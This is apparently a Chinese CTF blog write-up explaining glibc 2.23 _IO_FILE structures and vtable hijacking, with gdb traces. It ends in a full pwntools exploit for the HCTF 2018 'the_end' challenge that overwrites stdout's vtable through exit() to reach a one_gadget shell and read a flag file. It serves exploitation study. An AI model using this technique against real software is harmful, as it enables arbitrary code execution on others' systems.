IO_FILE 利用的基础知识

发表于 |

源码跟踪

通过grep可以查看一些到对应的代码在哪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
giantbranch@ubuntu:~$ grep "struct _IO_FILE " -r ./glibc-2.23/
./glibc-2.23/libio/libioP.h:typedef struct _IO_FILE *_IO_ITER;
./glibc-2.23/libio/libio.h:  struct _IO_FILE *_sbuf;
./glibc-2.23/libio/libio.h:struct _IO_FILE {
./glibc-2.23/libio/libio.h:  struct _IO_FILE *_chain;
./glibc-2.23/libio/libio.h:  struct _IO_FILE _file;
./glibc-2.23/libio/libio.h:  struct _IO_FILE *_freeres_list;
./glibc-2.23/libio/libio.h:typedef struct _IO_FILE _IO_FILE;
./glibc-2.23/libio/stdio.h:typedef struct _IO_FILE FILE;
./glibc-2.23/libio/stdio.h:typedef struct _IO_FILE __FILE;
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stdin;		/* Standard input stream.  */
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stdout;		/* Standard output stream.  */
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stderr;		/* Standard error output stream.  */
./glibc-2.23/libio/strfile.h:  struct _IO_FILE _f;
./glibc-2.23/libio/genops.c:      struct _IO_FILE **f;
./glibc-2.23/libio/genops.c:  struct _IO_FILE *fp;
./glibc-2.23/libio/genops.c:  struct _IO_FILE *fp;
./glibc-2.23/libio/genops.c:  struct _IO_FILE *fp;
./glibc-2.23/ChangeLog.17:	* libio/stdio.h: Define struct _IO_FILE in global namespace.

至于源码可以通过命令下载

1
apt-get source libc6-dev

源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
  int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其中多个_IO_FILE以struct _IO_FILE *_chain;相连组成链表，头指针是_IO_list_all

可以看到链表的指向是_IO_list_all到2 1 0

1
2
3
4
5
6
7
8
gdb-peda$ p _IO_list_all
$24 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd2540)._chain
$29 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd2620)._chain
$30 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd18e0)._chain
$31 = (struct _IO_FILE *) 0x0

更进一步，有一个_IO_FILE_plus，其实他就多一个jump table

1
2
3
4
5
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

因为这个file就是_IO_FILE

1
2
3
struct _IO_FILE;
/* The opaque type of streams.  This is the definition used elsewhere.  */
typedef struct _IO_FILE FILE;

这个table就是函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

那么我们就有可能通过vtable劫持控制流

vtable 劫持分为两种，一种是直接改写 vtable 中的函数指针，通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存，然后在其中布置函数指针。

例子

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/io-file/2018_hctf_the_end/the_end

只有5个写一字节的机会，那我们只能通过exit劫持控制流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

exit会调用_IO_unbuffer_all，里面会调用setbuf
我们可以对setbuf下断点，即_IO_new_file_setbuf

当然里面也会调用_IO_flush_all_lockp，你去覆盖overflow也是可以的

不行的话对所有jumptable的函数都下个断点，那就知道会调用哪个了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
gdb-peda$ p _IO_2_1_stdout_ 
$41 = {
  file = {
    _flags = 0xfbad2a84, 
    _IO_read_ptr = 0x555555756010 "here is a gift "..., 
    _IO_read_end = 0x555555756010 "here is a gift "..., 
    _IO_read_base = 0x555555756010 "here is a gift "..., 
    _IO_write_base = 0x555555756010 "here is a gift "..., 
    _IO_write_ptr = 0x555555756010 "here is a gift "..., 
    _IO_write_end = 0x555555756010 "here is a gift "..., 
    _IO_buf_base = 0x555555756010 "here is a gift "..., 
    _IO_buf_end = 0x555555756410 "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
gdb-peda$ p *(struct _IO_jump_t *)0x7ffff7dd06e0
$45 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7ffff7a869c0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a87730 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a874a0 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a89980 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a861e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a85ec0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a854c0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a85370 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a7a180 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a861a0 <__GI__IO_file_read>, 
  __write = 0x7ffff7a85b70 <_IO_new_file_write>, 
  __seek = 0x7ffff7a85970 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a85340 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a85b60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a89b00 <_IO_default_imbue>
}

下断点后，断下来，可以看到exit调用了它

1
2
3
4
5
6
7
8
9
gdb-peda$ bt
#0  _IO_new_file_setbuf (fp=0x7ffff7dd2620 <_IO_2_1_stdout_>, p=0x0, len=0x0) at fileops.c:450
#1  0x00007ffff7a8939f in _IO_unbuffer_all () at genops.c:915
#2  _IO_cleanup () at genops.c:960
#3  0x00007ffff7a46f9b in __run_exit_handlers (status=0x539, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1) at exit.c:95
#4  0x00007ffff7a47045 in __GI_exit (status=<optimized out>) at exit.c:104
#5  0x0000555555554969 in ?? ()
#6  0x00007ffff7a2d830 in __libc_start_main (main=0x5555555548d0, argc=0x1, argv=0x7fffffffe558, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe548) at ../csu/libc-start.c:291
#7  0x00005555555547c9 in ?? ()

那个伪造的vtable地址+0x58的位置必须跟one_gadget的高5位都是一致的

由于本地的libc没有一个onegadget满足条件，所以没成功，但是是成功起shell了

1
2
3
4
5
6
gdb-peda$ c
Continuing.
process 49883 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 5.
Cannot access memory at address 0x7fae55ca7216

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-12-14 18:25:22
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 

from pwn import *
context.log_level = "debug"
p = process("./the_end")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

vtable_point_offset = 3954424
# onegadget_offset = 0xf02a4
onegadget_offset = 0x45216
fake_vtable_offset = 3953800
fake_vtable_setbuf_offset = fake_vtable_offset + 0x58

def getpid():
    print proc.pidof(p)[0]
    pause()

p.recvuntil("here is a gift ")
sleep_addr = int(p.recvuntil(", good luck")[:-11], 16)
print "sleep_addr = " + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols["sleep"]
print "libc_base = " + hex(libc_base)
vtable_point = libc_base + vtable_point_offset
print "vtable_point = " + hex(vtable_point)
onegadget = libc_base + onegadget_offset 
print "onegadget = " + hex(onegadget)
fake_vtable = libc_base + fake_vtable_offset 
print "fake_vtable = " + hex(fake_vtable)
fake_vtable_setbuf = libc_base + fake_vtable_setbuf_offset 
print "fake_vtable_setbuf = " + hex(fake_vtable_setbuf)


for x in xrange(0,2):
	p.send(p64(vtable_point + x))
	p.send(p64(fake_vtable)[x])

getpid()

for x in xrange(0,3):
	p.send(p64(fake_vtable_setbuf + x))
	p.send(p64(onegadget)[x])

p.sendline("cat /flag >&0")

p.interactive()

reference

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/

打赏专区
paypal: https://www.paypal.me/giantbranch
假如你看不到评论，可能是你访问Disqus被墙了，请使用代理访问